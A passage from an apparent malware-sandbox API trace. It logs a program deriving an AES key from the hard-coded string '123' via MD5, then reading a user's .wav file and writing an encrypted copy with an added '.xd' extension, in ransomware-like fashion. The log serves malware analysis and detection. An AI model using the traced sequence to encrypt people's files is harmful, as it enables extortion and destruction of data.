lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0064.892] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e1b0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0064.892] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0064.893] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17abaa0) returned 1 [0064.893] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.893] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.893] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0064.893] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.893] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.894] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.894] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.894] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.894] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0064.894] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.894] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.894] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.894] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.894] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.894] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.894] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0064.894] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.894] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.894] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0064.894] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.895] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0064.895] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0064.895] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.895] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.895] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0064.895] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0064.895] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0064.895] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.895] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.895] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.895] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.895] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0064.895] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0064.895] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0064.895] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0064.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16215b8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0064.897] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0064.897] CryptCreateHash (in: hProv=0x17abaa0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0064.897] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.897] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.897] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.897] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0064.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16296a0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0064.897] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0064.897] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0064.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16296d0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0064.898] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.898] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.898] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0064.898] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0064.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x16217e0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0064.898] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0064.898] CryptHashData (hHash=0x164c270, pbData=0x1629710, dwDataLen=0x3, dwFlags=0x1) returned 1 [0064.899] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.899] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.899] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.899] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.899] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0064.899] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0064.899] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0064.899] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0064.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x16216f0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0064.899] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0064.900] CryptDeriveKey (in: hProv=0x17abaa0, Algid=0x6610, hBaseData=0x164c270, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c330) returned 1 [0064.900] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.900] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.900] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.900] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.900] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.900] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.900] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0064.900] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0064.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e030, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0064.901] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0064.901] CryptDestroyHash (hHash=0x164c270) returned 1 [0064.901] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.901] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.901] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.901] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.901] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.901] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zOIHN\\whIdUKJwK.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\7r8kxljpjcayia\\xyxuclz\\zoihn\\whidukjwk.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0064.902] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.902] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0064.902] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.902] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.902] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.902] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zOIHN\\" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\7r8kxljpjcayia\\xyxuclz\\zoihn")) returned 0x10 [0064.902] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zOIHN\\whIdUKJwK.wav.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\7r8kxljpjcayia\\xyxuclz\\zoihn\\whidukjwk.wav.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0064.903] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.903] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.905] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.905] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.907] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0064.907] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x8dc6, lpOverlapped=0x0) returned 1 [0064.908] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0064.912] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.912] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.912] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.912] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0064.928] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.928] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.928] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0064.929] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0064.929] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0064.929] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0064.929] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0064.929] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.929] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0064.929] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.929] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0064.929] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e030, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0064.929] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0064.929] CryptGetKeyParam (in: hKey=0x164c330, dwParam=0x7, pbData=0x16296d0, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x16296d0*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0064.929] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0064.929] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0064.929] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.930] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.930] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.930] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.930] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.930] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.930] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0064.930] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.930] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0064.930] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0064.930] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.930] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.930] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0064.930] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0064.930] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0064.930] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.930] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.930] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.930] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.930] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.930] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.930] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0064.931] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.931] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, 